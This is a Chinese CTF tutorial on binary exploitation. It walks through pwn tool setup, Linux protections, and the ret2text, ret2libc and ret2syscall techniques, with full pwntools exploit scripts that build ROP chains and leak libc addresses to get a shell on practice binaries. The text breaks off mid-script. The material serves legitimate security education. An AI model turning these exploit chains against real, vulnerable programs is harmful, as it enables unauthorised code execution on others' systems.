PWN入门——栈溢出
0x00 pwn环境配置
更新、安装vim
1sudo apt upgrade2sudo apt install vim安装必要环境
1将一下内容写入一个sh脚本文件中,为chmod 777 xxx.sh文件赋权限后直接./xxx.sh运行脚本,中途会出现Do you want to continue? [Y/n]输入y1#!/bin/bash2cd ~3sudo apt install tzdata4sudo apt install vim5sudo apt install libxml2-dev6sudo apt install libxslt-dev7sudo apt install libmysqlclient-dev8sudo apt install libsqlite3-dev9sudo apt install zlib1g-dev10sudo apt install python2-dev11sudo apt install python3-pip12sudo apt install libffi-dev13sudo apt install libssl-dev14sudo apt install wget15sudo apt install curl16sudo apt install gcc17sudo apt install clang18sudo apt install make19sudo apt install zip20sudo apt install build-essential21sudo apt install libncursesw5-dev libgdbm-dev libc6-dev22sudo apt install tk-dev23sudo apt install openssl24sudo apt install virtualenv25sudo apt install git26sudo apt install proxychains427sudo apt install ruby-dev28
29#setuptools 36.6.1 -> python230wget https://mirrors.aliyun.com/pypi/packages/56/a0/4dfcc515b1b993286a64b9ab62562f09e6ed2d09288909aee1efdb9dde16/setuptools-36.6.1.zip31unzip setuptools-36.6.1.zip32cd setuptools-36.6.133sudo python2 setup.py install34cd ../35sudo rm -rf setuptools-36.6.1 setuptools-36.6.1.zip36
37#setuptools 65.4.1 -> python338wget https://mirrors.aliyun.com/pypi/packages/03/c9/7b050ea4cc4144d0328f15e0b43c839e759c6c639370a3b932ecf4c6358f/setuptools-65.4.1.tar.gz39tar -zxvf setuptools-65.4.1.tar.gz40cd setuptools-65.4.141sudo python3 setup.py install42cd ../43sudo rm -rf setuptools-65.4.1 setuptools-65.4.1.tar.gz44
45#pip46wget https://mirrors.aliyun.com/pypi/packages/53/7f/55721ad0501a9076dbc354cc8c63ffc2d6f1ef360f49ad0fbcce19d68538/pip-20.3.4.tar.gz47tar -zxvf pip-20.3.4.tar.gz48cd pip-20.3.449sudo python2 setup.py install50sudo python3 setup.py install51cd ../52sudo rm -rf pip-20.3.4 pip-20.3.4.tar.gz53
54sudo pip2 config set global.index-url https://mirrors.aliyun.com/pypi/simple55sudo pip3 config set global.index-url https://mirrors.aliyun.com/pypi/simple56
57sudo python2 -m pip install --upgrade pip58sudo python3 -m pip install --upgrade pip59
60pip3 install --upgrade pip61sudo pip2 install pathlib2pwntools
1sudo python2 -m pip install --upgrade pwntools2sudo python3 -m pip install --upgrade pwntoolspwndbg+Pwngdb
1这里我直接去github下载运行setup.sh会报错要求升级python3,所以直接引用了starrysky大佬的库2
3https://starrysky1004.github.io/pwnenv.zip1unzip pwnenv.zip2rm pwnenv.zip3
4#pwndbg5cd pwndbg6./setup.sh7
8#Pwngdb9cd ~/10cp ~/Pwngdb/.gdbinit ~/11
12vim ~/.gdbinit13#注释掉第一行 然后在第二行写入14source ~/pwndbg/gdbinit.pypatchelf
1sudo apt install patchelfglibc-all-in-one
1#glibc-all-in-one2git clone https://github.com/matrix1001/glibc-all-in-one.git3cd glibc-all-in-one4python3 update_list5cat listropper
1sudo pip3 install capstone filebytes unicorn keystone-engine ropperqemu-system
1sudo apt-get install qemu-systemRopgadget
1sudo -H python3 -m pip install ROPgadgetone_gadget、seccomp-tools
这两个我感觉很随缘,没事运行一下看运气吧(
1sudo gem install one_gadget2sudo gem install seccomp-tools0x01 基础知识 & ret2text
PWN解题目标
获取远程靶机里的flag文件中的字符串(flag是动态的,每个队伍的flag不同)
-
获取
shell:和远程终端交互通过cat flag获取可以获取
shell的函数:system('/bin/sh')system('sh')system('$0')ps<读的是远程的>读的是远程的>
flag文件,本地可以用ls确认是否获得shell或创建一个flag文件 -
读取
flag(open read write)/system('cat flag')
前置基础
示例代码
1#include <stdio.h>2
3char hello[] = "Hello world!";4int buf[10];5
6int func(int a, int b){7 int res;8 res = a + b;9 return res;10}11
12int main(){13 int a, b, c;14 a = 10;15 b = 20;16 c = func(a, b);17 printf("Result is: %d", c);18 return 0;19}修复建议
11、对所有用户输入进行边界检查,确保写入缓冲区的数据不会超出其容量。22、使用安全的替代函数| 不安全函数 | 安全函数 | 说明 |
|---|---|---|
gets(char *str) | fgets(char \*str, int size, FILE \*stream) | fgets 会读取最多 size-1 个字符,并在末尾添加 \0。用 stdin 作为流参数。 |
strcpy(char *dest, const char *src) | strncpy(char \*dest, const char \*src, size_t n) | 拷贝最多 n 个字符。注意:如果 src 前 n 个字符没有 \0,则 dest 不会以 \0 结尾,需要手动处理。 |
strcat(char *dest, const char *src) | strncat(char \*dest, const char \*src, size_t n) | 相对安全,它会自动在末尾添加 \0,但需确保 dest 有足够空间容纳 n+1 个新字符。 |
sprintf(char *str, ...) | snprintf(char \*str, size_t size, const char \*format, ...) | 最多写入 size-1 个字符,并保证以 \0 结尾。这是最推荐的格式化输出函数。 |
工具使用
nc
在终端直接与远程程序交互:nc ip port
IDA
参考文章:https://www.cnblogs.com/ve1kcon/p/17812418.html
| 快捷键 | 作用 |
|---|---|
| n | 重命名变量/函数 |
| y | 修改函数原型或者变量类型 |
| tab | 在反汇编窗口中,进行汇编指令与伪代码之间的切换 |
| esc | 翻页,返回前一页面 |
| space | 在反汇编窗口中,进行列表视图与图形视图之间的切换 |
| f12 | 打开字符串窗口,可用于字符串搜索 |
| / | 添加注释 |
gdb
参考文章:https://www.cnblogs.com/ve1kcon/p/17812420.html
| 指令 | 作用 |
|---|---|
| gdb filename | 进入调试可执行程序 |
| r | 开始/重新运行程序 |
| c | 运行到断点/结束 |
| q | 退出 |
| n | 单步调试 |
| s | 单步调试并跟进函数 |
| p/x | 用于计算(相当于计算器) |
| vmmap | 获取调试进程中的虚拟映射地址范围 |
| x/gx x/gi x/gs | 以数据 / 汇编 / 字符串的形式查看内存(x/20gx一次查看更多数据) |
| b *address / function_name / *$rebase(address) | 绝对地址 / 函数名 / 相对地址下断点 |
| fin | 跳出当前函数,执行到函数返回处 |
| context | 重新打印页面信息 |
| code | 查看程序基址 |
| libc | 查看libc基址 |
checksec
checksec filename 查看架构、端序、保护
elf文件格式
-
.init、.fini:保存了进程初始化和结束所用的代码,这两个节通常都是由编译器自动添加 -
plt、got:动态链接的跳转和全局入口表 -
.text:代码段 -
.rodata:保存了只读数据,可以读取但不能修改例如示例代码中的
"Result is: %d" -
.data:已初始化的全局变量和局部静态变量都保存在.data段例如示例代码中的
"Hello world!" -
.bss:未初始化的全局变量和局部静态变量默认值都为0.bss段只是为未初始化的全局变量和局部静态变量预留位置没有内容,所以它在文件中也不占据空间例如示例代码中的
buf
函数调用过程
栈
指数据暂时存储的地方,所以才有入栈、出栈的说法,入栈和出栈都在栈顶(即将数据存放到数据暂存区的顶部以及从顶部取出数据),局部非静态变量存储在栈中
寄存器
64位
一个地址占8字节,可以使用pwntools的p64生成一个64位的地址
栈:rbp -> 栈底 rsp -> 栈顶
当前执行指令寄存器:rip
传参:rdi -> 一参 rsi -> 二参 rdx -> 三参
32位
一个地址占4字节,可以使用pwntools的p32生成一个32位的地址
栈:ebp:栈底 esp:栈顶
当前执行指令寄存器:eip
传参:通过栈传参
函数调用

linux保护机制
-
ASLR:Address Space Layout Randomizationlinux地址随机化,程序运行时的堆栈以及共享库的加载地址随机化关闭
ASLR:sudo sysctl -w kernel.randomize_va_space=0 -
RELRO:RELocation Read-Only-
Full RELRO:got表不可写 -
Partial RELRO1gcc编译时关闭relro参数:2-z norelro 完全关闭3-z lazy 部分开启4-z now 完全开启
-
-
stackcanary,防止栈溢出,位于rbp - 0x81gcc编译时关闭canary参数:2-fno-stack-protector -
NX:Non-eXecute-
NX enable:堆栈不可执行,仅.text段可执行 -
No NX1gcc编译时关闭NX参数:2-z execstack 允许在堆栈上执行代码3-z noexecstack 禁止在堆栈上执行代码
-
-
PIEgcc编译,code,获取地址,下断点
-
PIE enabled:程序地址随机化 -
No PIE1gcc编译时关闭PIE参数:2-no-pie
-
ret2text
即返回到text段,劫持返回地址到后门(即覆盖ret为后门的地址)
原理
输入长度没有被限制导致覆盖到ret
例如:gets函数不限制输入长度
解题
- 检查保护(确认
no pie以及no canary) - 确定后门地址、变量到栈底的距离(根据
IDA中变量后的rbp-xx得到与栈底的距离为xx) - 填充中间空间(变量到栈底的距离+
rbp的长度)并覆盖ret为返回地址
交互脚本模板
1from pwn import *2
3context(arch='amd64', os='linux', log_level='debug')4
5file_name = './filename' #修改成可执行文件名6
7debug = 0 #打远程时改成18if debug:9 r = remote('ip', port) #打远程时修改ip和端口10else:11 r = process(file_name)12
13elf = ELF(file_name)14
15def dbg():16 gdb.attach(r) #在需要调试的地方加上dbg()17
18r.interactive()例题:pwn
1# 到rbp的偏移为0x70,/bin/sh字符串地址为0x004007B82# 传入b'a' * 0x70 + b'b' * 0x8能够看到覆盖到ret,后面直接追加字符串地址exp:
1from pwn import *2
3context(arch='amd64', os='linux', log_level='debug')4
5file_name = './pwn'6
7li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')8li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')9
10context.terminal = ['tmux', 'splitw', '-h']11
12debug = 013if debug:14 r = remote('ip', port)15else:16 r = process(file_name)17
18elf = ELF(file_name)19
20def dbg():21 gdb.attach(r)22
23def get_libc():24 return u64(r.recvuntil(b'\x7f'))[-6:].ljust(8, b'\x00')25
26binsh = 0x004007B827payload = b'a' * 0x70 + b'b' * 0x8 + p64(binsh)28
29dbg()30
31r.sendline(payload)32
33r.interactive()确定栈空间
1gdb ./ret2text2
3pwndbg> cyclic 2004aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab5
6确定无效地址:7Invalid address 0x626161648
9pwndbg> cyclic -l 0x6261616410Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)11Found at offset 11212pwndbg> p 0x64+0xc13$1 = 1120x02 ret2libc
前置基础
相关概念
gadget:程序本身或者libc中存在的一些汇编指令,每一条指令有其对应的地址,将这些gadget地址部署到栈中可以执行该地址中存放的汇编指令
例如:ret2text就是执行程序本身有的system("/bin/sh");指令
ROP:一种利用现有程序中的代码片段(即gadget)来构造攻击的技术,通过构造一系列的gadget来实现攻击目标,也可以控制程序执行好几段不相邻的程序已有的代码
例如:在返回地址处按顺序填上函数func1、func2、func3的地址就会依次执行这三个函数,更多的是利用其中的汇编指令
工具指令
ROPgadget
获取gadget地址,--binary参数指定文件,可以是可执行文件或libc文件,grep用于筛选,--string用于筛选字符串
通过pop rdi可以将栈地址中的值传递给rdi寄存器,其他寄存器也同理,所以在构造ROP链时直接使用p64(pop_rdi_ret) + p64(rdi_content)即可控制rdi寄存器的值为rdi_content
1$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' #控制寄存器的值2$ROPgadget --binary ./pwn --string '/bin/sh' #查找字符串3$ROPgadget --binary ./libc-2.35.so --only 'leave|ret' | grep 'leave' #查找leave ret指令地址4$ROPgadget --binary ./pwn --ropchain #生成现成的rop利用链直接getshell,适用于静态编译的程序5$ROPgadget --binary ./pwn --only 'ret' #查找ret指令的地址string
1$strings ./libc.so.6 | grep GNU #获取libc版本glibc-all-in-one
进入glibc-all-in-one文件夹下执行./update_list之后cat list确认是否有对应版本的libc,存在对应版本使用./download libc版本名进行下载,下载完成之后存在于libs文件夹下,需要用的时候将文件夹下的libc文件夹复制过去,下载失败可以直接复制下载地址到windows中下载再放到虚拟机里
示例
使用strings指令确定libc版本为2.38-1ubuntu6,使用file指令确定32位(也可以checksec ./pwn)
1$strings ./libc.so.6 | grep GNU2GNU C Library (Ubuntu GLIBC 2.38-1ubuntu6) stable release version 2.38.3Compiled by GNU CC version 13.2.0.4
5$file libc.so.66libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=495fc00b597566b5e14e221f563afe29ec1d8478, for GNU/Linux 3.2.0, stripped确认list列表中存在该版本的libc
1$cat list22.23-0ubuntu11.3_amd6432.23-0ubuntu11.3_i38642.23-0ubuntu3_amd6452.23-0ubuntu3_i38662.27-3ubuntu1.5_amd6472.27-3ubuntu1.5_i38682.27-3ubuntu1.6_amd6492.27-3ubuntu1.6_i386102.27-3ubuntu1_amd64112.27-3ubuntu1_i386122.31-0ubuntu9.12_amd64132.31-0ubuntu9.12_i386142.31-0ubuntu9.7_amd64152.31-0ubuntu9.7_i386162.31-0ubuntu9_amd64172.31-0ubuntu9_i386182.35-0ubuntu3.4_amd64192.35-0ubuntu3.4_i386202.35-0ubuntu3_amd64212.35-0ubuntu3_i386222.37-0ubuntu2.1_amd64232.37-0ubuntu2.1_i386242.37-0ubuntu2_amd64252.37-0ubuntu2_i386262.38-1ubuntu6_amd64272.38-1ubuntu6_i386下载该版本的libc,如果下载失败可以直接复制里面的链接https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb在windows里下载再存到虚拟机里,下载完成后位于libs文件夹中,需要使用时直接cp -r ~/glibc-all-in-one/libs/2.38-1ubuntu6_i386 ./2.38复制文件夹使用
1$./download 2.38-1ubuntu6_i3862Getting 2.38-1ubuntu6_i3863 -> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb4 -> Downloading libc binary package5 -> Extracting libc binary package6x - debian-binary7x - control.tar.zst8x - data.tar.zst9/home/starrysky/glibc-all-in-one10 -> Package saved to libs/2.38-1ubuntu6_i38611 -> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6-dbg_2.38-1ubuntu6_i386.deb12 -> Downloading libc debug package13 -> Extracting libc debug package14x - debian-binary15x - control.tar.zst16x - data.tar.zst17/home/starrysky/glibc-all-in-one18 -> Package saved to libs/2.38-1ubuntu6_i386/.debugldd
获取可执行文件的动态链接文件,包括ld和libc等
1$ldd ./pwnpatchelf
更改可执行文件的动态链接文件,更改ld可以直接指定ld文件,而更改libc需要先使用ldd查看原libc作为--replace-needed选项的第一个参数,一般默认是libc.so.6
libc和ld要同时更改确保在同一版本
1$patchelf --replace-needed libc.so.6 ./2.38/libc.so.6 ./pwn #更改libc2$patchelf --set-interpreter ./2.35/ld-linux-x86-64.so.2 ./pwn #更改ldonegadget
能直接getshell的gadget,添加参数-l2可以获得更多
1$one_gadget ./libc.so.6延迟绑定
延迟绑定是一种在程序运行时才解析外部符号(如函数和变量)地址的技术,它允许程序在启动时不必立即加载所有动态链接库中的符号,从而提高程序的启动速度
c语言内置的函数(例如printf)都是依赖于libc中的外部函数
动态链接与静态链接
动态链接是指在程序运行时才将程序与所需的动态链接库中的库函数链接起来的过程,动态链接的程序在启动时会加载所需的动态库(例如libc),并在运行时解析外部符号的地址
静态链接在编译时将所有需要的库函数直接复制到可执行文件中,生成的可执行文件不依赖于外部的库文件,可以独立运行,但是会导致可执行文件体积增大
plt与got
PLT(Procedure Linkage Table) 是一个代码段,包含了用于动态链接的跳转指令。每个需要动态链接的外部函数都会在PLT中有一个条目,当程序第一次调用这个函数时,PLT中的代码会被执行,这个代码会去查找并解析外部函数的实际地址,并将其存储在GOT中,以便后续调用时直接跳转到正确的地址
GOT(Global Offset Table) 是一个数据段,存储了所有外部符号的地址。在程序启动时,GOT中的条目可能并不包含最终的地址,而是包含指向PLT中相应条目的指针。当PLT条目第一次被执行时,会将查找到的外部符号地址更新到GOT中,这样后续的调用就可以直接通过GOT找到正确的地址
延迟绑定过程
- 程序启动:程序启动时,动态链接器加载程序和所有依赖的动态库
- 符号解析:当程序第一次调用一个外部函数时,
PLT中的代码会被执行,查找并解析外部函数的实际地址 - 地址存储:查找到的地址被存储在
GOT中,以便后续调用 - 直接调用:后续对同一外部函数的调用将直接通过
GOT进行,无需再次解析
总结
- 执行函数的
plt会通过跳转got直接调用到该函数 got表可写的情况下覆盖函数的got表为其他函数地址可以实现调用该函数时执行到其他函数
ret2libc
目标是执行system("/bin/sh");,即执行system函数其一参为"/bin/sh"
有system和/bin/sh
延迟绑定部分提到,执行函数的plt可以直接调用到该函数,那么构造rop链就是要先控制一参rdi为"/bin/sh"的地址再填system的plt
-
控制一参
使用
ROPgadget找到pop rdi的地址Terminal window 1$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'ps:
gadget中含有pop rdi就行,但是有pop其他寄存器就需要在后面加上对应的值,例如0x000ac112 : pop rdi ; pop rbx ; ret,pop rdi之后还pop rbx,所以后面需要加两个地址,即p64(0x000ac112) + p64(rdi_content) + p64(rbx_content),后面就可以继续加其他gadget -
找
"/bin/sh"地址"/bin/sh"地址需要在IDA中查找,直接按f12找到对应地址 -
找
system函数地址pwntools中可以直接获取plt和got的地址:elf.plt['system']elf.got['system']
最终构造出
1#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret2pop_rdi_ret =3bin_sh = IDA中/bin/sh地址4system_plt = elf.plt['system']5p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)6r.sendline(p)例题ret2libc1
1ida中看到的主函数距离栈低还有0x64的偏移,但真实情况需要通过gdb和pwndbg进行调试,发现还需要0xc的距离,之后通过32位栈的传参方式进行传参,system->p32(0)->/bin/sh,因为system之后不需要执行任何代码,所以给占位符01from pwn import *2
3context(arch='amd64', os='linux', log_level='debug')4
5file_name = './ret2libc1'6
7li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')8li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')9
10context.terminal = ['tmux', 'splitw', '-h']11
12debug = 013if debug:14 r = remote('ip', port)15else:16 r = process(file_name)17
18elf = ELF(file_name)19
20def dbg():21 gdb.attach(r)22
23#def get_libc():24# return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))25
26system_addr = elf.plt['system']27binsh_addr = 0x0804872028#payload = b'a' * 0x64 + b'b' * 0xc + b'c' * 0x429payload = b'a' * 0x64 + b'b' * 0xc + p32(system_addr) + p32(0) + p32(binsh_addr)30
31#dbg()32
33r.sendline(payload)34r.interactive()有system无/bin/sh
缺少/bin/sh可以直接往程序中的一个地址写入/bin/sh,假设地址是buf,那么就要先构造gets(buf),读取/bin/sh之后再执行system('/bin/sh'),其中system的一参就说buf,即/bin/sh的地址
- 获取
gets的plt地址:elf.plt['gets'] - 设置
buf的地址,从IDA中选取,可以从bss段中选取地址 - 获取
system的plt地址:elf.plt['system'] - 设置一参:
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'
最终构造:注意发送/bin/sh最后加上\x00截断字符串,在执行rop链的过程中会执行gets(buf)从输入流输入buf的值,此时输入/bin/sh\x00即可向buf输入字符串
1#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret2pop_rdi_ret =3buf =4gets_plt = elf.plt['gets']5system_plt = elf.plt['system']6p = b'a' * ?7p += p64(pop_rdi_ret) + p64(buf) + p64(gets_plt) #gets(buf)8p += p64(pop_rdi_ret) + p64(buf) + p64(system_plt) #system(buf)9r.sendline(p)10r.sendline('/bin/sh\x00')例题ret2libc2
1由于没有/bin/sh字符串,所以通过写入函数先将字符串写入bss段,然后进行调用,ida分析到bss的空间地址,获取plt表中的system和gets函数地址,按照栈空间的顺序进行函数调用1from pwn import *2
3context(arch='amd64', os='linux', log_level='debug')4
5file_name = './ret2libc2'6
7li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')8li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')9
10context.terminal = ['tmux', 'splitw', '-h']11
12debug = 013if debug:14 r = remote('ip', port)15else:16 r = process(file_name)17
18elf = ELF(file_name)19
20def dbg():21 gdb.attach(r)22
23#def get_libc():24# return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))25
26system_addr = elf.plt['system']27gets_addr = elf.plt['gets']28bss_buf = 0x0804A08029payload = b'a' * 0x64 + b'b' * 0xc30payload += p32(gets_addr) + p32(system_addr) + p32(bss_buf) * 231
32#dbg()33
34r.sendline(payload)35r.sendline('/bin/sh\00')36r.interactive()无system无/bin/sh
可执行文件中没有system,但是作为动态链接库的libc中有,所以直接执行libc中的system即可,所以思路就是先获取libc的基址,再计算libc中system和/bin/sh的地址,最后执行system('/bin/sh')
got部分提到got表存放了外部符号地址,即libc中的地址,所以如果能够泄露got表中的地址就能获取libc中某个函数的真实地址,再减去这个函数在libc中的偏移就能得到libc的基址,最后加上system函数的偏移就能得到system函数的地址
-
泄露
got表中函数的地址需要用一个输出函数输出一个
got表的地址,一般构造puts(puts_got),最后还要再回到该函数继续利用栈溢出,即p64(pop_rdi_ret) + p64(puts_got) + p64(puts) + p64(main)接收该地址:基本就是一个固定用法
u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) -
获取
libc基址标志:64位以
7f开头,基址末尾三位是0已知
puts函数的真实地址和puts函数的偏移,libc的基址就等于真实地址减偏移获取
puts函数在libc中的偏移可以通过libc = ELF('libc文件'),然后libc.sym['puts']得到puts偏移在打本地的时候如果修改了
libc版本需要对应修改ELF里的文件路径,也可以直接在本地打通之后修改文件路径为远程的libc文件后直接打远程 -
获取
system和/bin/sh地址:从libc获取地址需要加上基址system = libc.sym['system'] + libc_basebin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
最终构造:
1#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret2pop_rdi_ret =3main = elf.sym['main']4puts_got = elf.got['puts']5puts_plt = elf.plt['puts']6p = b'a' * ? + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)7r.sendline(p)8
9libc = ELF('libc文件路径')10libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']11system = libc.sym['system'] + libc_base12bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base13p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)14r.sendline(p)例题ret2libc3
11、通过ELF函数获取puts和__libc_start_main的地址,通过put函数打印,获取之后在libc.rip网站中查询对应的offset22、在libc中的地址减去libc的offset即可获得基址,通过对应的system和/bin/sh的地址offset加上基址即可获得函数和字符串地址33、最后getshell需要在system函数后加上返回地址,这里写的是4个字节,也可以p32(0),在某些情况下,返回地址的具体值并不重要,只要 system 函数能够正确执行即可1from pwn import *2
3sh = process("./ret2libc3")4
5ret2libc3 = ELF("./ret2libc3")6
7puts_plt = ret2libc3.plt['puts']8libc_start_main = ret2libc3.got['__libc_start_main']9start = ret2libc3.symbols['_start']10puts_got= ret2libc3.got['puts']11
12sh.sendlineafter('Can you find it !?',flat(['a'*112,puts_plt, start, puts_got]))13put_addr = u32(sh.recv()[0:4])14print (f"put_addr is "+hex(put_addr))15
16sh.sendline(flat(['a'*112, puts_plt, start, libc_start_main]))17libc_start_main_addr = u32(sh.recv()[0:4])18print (f"libc_start_main_addr is "+hex(libc_start_main_addr))19
20puts_libc = 0x732a021sys_libc = 0x4817022binsh_libc = 0x1bd0d523
24libc_base = put_addr - puts_libc25system_addr = libc_base + sys_libc26binsh_addr = libc_base + binsh_libc27
28#sh.sendline(flat(['a'*112, system_addr, 'b'*4, binsh_addr]))29sh.sendline(b'a'*112+p32(system_addr)+b'b'*4+p32(binsh_addr))30sh.interactive()例题level3_x64
11、虽然没有system函数和/bin/sh字符串,可以通过引用的动态链接库libc.so.6进行操作,通过前面的命令查看引用的版本为2.3522、每传参一次进行调试,查看是否将返回地址覆盖,长度为0x88正好将前面的地址进行覆盖,之后构造ROP链33、要利用主函数的write函数,其用法为write(1, write_got, ?),利用找到的rdi和rsi的地址,按照调用顺序将地址覆盖,第一个参数是1则传入p64(1),第二个参数是输入的内容,由于找到的rsi的ret代码中存在两条指令,所以要将r15寄存器跳过,这里通过传入p64(0)将其过掉44、想要调用write函数,则需要知道write的真实地址,所以通过elf的got函数和plt函数进行获取真实地址,顺序是got->plt,最后返回到main函数用于下一步的传参55、为了获取system函数,需要获取libc的基址,所以通过write函数的真实地址减去write函数的偏移量就得到了基址,通过libc基址+system函数的偏移量就得到了system函数的真实地址66、获取/bin/sh字符串通过libc的search函数进行搜索,加上libc基址就得到了/bin/sh字符串的真实地址77、之后由于上面的payload返回到了main函数,就需要再次传入payload,和例题一一样,传入pop_rdi地址,然后是/bin/sh字符串,最后是system函数的真实地址一个寄存器只能传一个参,在调用下一个寄存器时,要把上一个寄存器的参传进去,在这个64位程序里先传参再传函数。然后参数要一个一个放。
1from pwn import *2
3context(arch='amd64', os='linux', log_level='debug')4
5file_name = './level3_x64'6
7#li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')8li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')9
10context.terminal = ['tmux', 'splitw', '-h']11
12debug = 013if debug:14 r = remote('127.0.0.1', 1234)15else:16 r = process(file_name)17
18elf = ELF(file_name)19
20def dbg():21 gdb.attach(r)22
23#def get_libc():24# return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))25
26#0x00000000004006b3 : pop rdi ; ret27#0x00000000004006b1 : pop rsi ; pop r15 ; ret28pop_rdi = 0x00000000004006b329pop_rsi_r15 = 0x00000000004006b130write_plt = elf.plt['write']31write_got = elf.got['write']32main = elf.sym['main']33
34#payload = b'a' * (0x80 + 0x8) + b'b' * 0x835payload = b'a' * (0x80 + 0x8)36
37#write(1, write_got, ?)38#payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(write_plt) * 2 + p64(main)39payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)40#r.sendline(payload)41r.sendafter("Input:\n", payload)42#write_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))43write_addr = u64(r.recv(8))44
45libc = ELF('./2.35/libc.so.6')46libc_base = write_addr - libc.sym['write']47system = libc.sym['system'] + libc_base48bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base49
50payload = b'a' * (0x80 + 0x8)51payload += p64(pop_rdi) + p64(bin_sh) + p64(system)52
53#dbg()54
55r.sendline(payload)56r.interactive()堆栈平衡
某些指令,如movaps(用于操作XMM寄存器),要求栈指针RSP必须是16字节对齐的,直接从返回地址开始写rop链可能会造成堆栈不平衡,需要在rop链前加上汇编指令ret平衡堆栈
1$ROPgadget --binary ./pwn --only 'ret' #查找ret指令的地址32位程序
32位和64位的区别就是32位通过栈传参而不通过寄存器传参,所以不像64位需要找pop rdi的值,32位构造rop链的方式是函数+返回地址+参数列表,例如
1p = b'a' * ?2p += p64(pop_rdi_ret) + p64(buf) + p64(gets) #gets(buf)3p += p64(pop_rdi_ret) + p64(buf) + p64(system) #system(buf)对应32位的程序
1p = b'a' * (0x64 + 0xc) + p32(gets_plt) + p32(system_plt) + p32(bss) * 2补充
在题目没有给libc的情况下可以通过泄露多个已知函数名的地址,在https://libc.rip/中查询
0x03 ret2syscall&ret2shellcode&零碎知识点
ret2syscall
前置基础
操作系统的进程空间分为用户空间和内核空间,内核空间需要更高的权限,系统调用就是运行在用户空间的程序向操作系统内核请求需要更高权限运行的内核函数
当用户态进程发起一个系统调用,CPU切换到内核态并开始执行一个内核函数。由于系统调用处理函数只有一个,所以需要通过rax传递系统调用号确定调用的函数
利用
应用程序在用户态准备好调用参数(包括系统调用号和函数参数),在64位程序中执行syscall或在32位程序中执行int 80触发软中断,CPU被软中断打断后执行对应中断处理函数,最后执行ret指令切换回用户态
常用系统调用号:
32位 read 3 open 5 write 4 sigreturn 77/0x4D execve 11/0xb
64位 read 0 open 2 write 1 sigreturn 15/0xF execve 59/0x3b
execve用法:execve(“/bin/sh”, NULL,NULL)
1p = p64(pop_rax_ret) + p64(a) + p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(syscall)对比ret2libc
1p = p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(xxx_plt)全部系统调用号参考:https://syscalls.mebeim.net/?table=x86/64/x64/latest
例题ret2syscall
把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们再执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:
1execve("/bin/sh",NULL,NULL)其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
1ROPgadget --binary rop --only 'pop|ret' | grep 'eax'2ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'3ROPgadget --binary rop --string '/bin/sh'4# 0x080bb196 : pop eax ; ret5# 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret6# 0x080be408 : /bin/sh7同时获取int 80进行程序软中断8ROPgadget --binary rop --only 'int'9# 0x08049421 : int 0x801from pwn import *2
3context(arch='i386', os='linux', log_level='debug')4
5file_name = './rop'6
7li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')8li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')9
10context.terminal = ['tmux', 'splitw', '-h']11
12debug = 013if debug:14 r = remote('ip', port)15else:16 r = process(file_name)17
18elf = ELF(file_name)19
20def dbg():21 gdb.attach(r)22
23def get_libc():24 return u64(r.recvuntil(b'\x7f'))[-6:].ljust(8, b'\x00')25
